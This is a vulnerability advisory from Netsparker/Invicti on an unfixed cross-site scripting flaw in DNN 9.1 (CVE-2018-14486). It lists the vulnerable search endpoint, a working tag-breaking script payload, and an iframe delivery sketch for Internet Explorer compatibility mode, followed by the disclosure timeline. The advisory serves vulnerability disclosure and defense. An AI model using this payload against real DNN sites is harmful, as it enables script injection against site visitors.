Cross-site Scripting via XML Vulnerability in DNN 9.1


Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting via XML Vulnerability in DNN 9.1
Affected Software: DNN
Affected Versions: 9.1
Vulnerability: Cross-site Scripting via XML Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14486
CVSS Score (3.0): CVSS:3.0/VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-048

Technical Details


URL: http://DNNWebsite/blog/API/internalservices/searchService/search?
Parameter Name: Query String
Parameter Type: Get
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>

Attacker`s Website:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
<iframe src=''></iframe>

Victim’s DNN Website:

TEst '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>

Note: Attacker can execute payload on own Website with Iframe Element. Payload can be used only with Internet Explorer’s with Compatible Mode Option.

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

16th January 2018- First Contact
1st Febuary 2018 – Technical Details Sent
9th January 2019 – Last Attempt to Contact
23rd January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Mustafa Yalçın while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.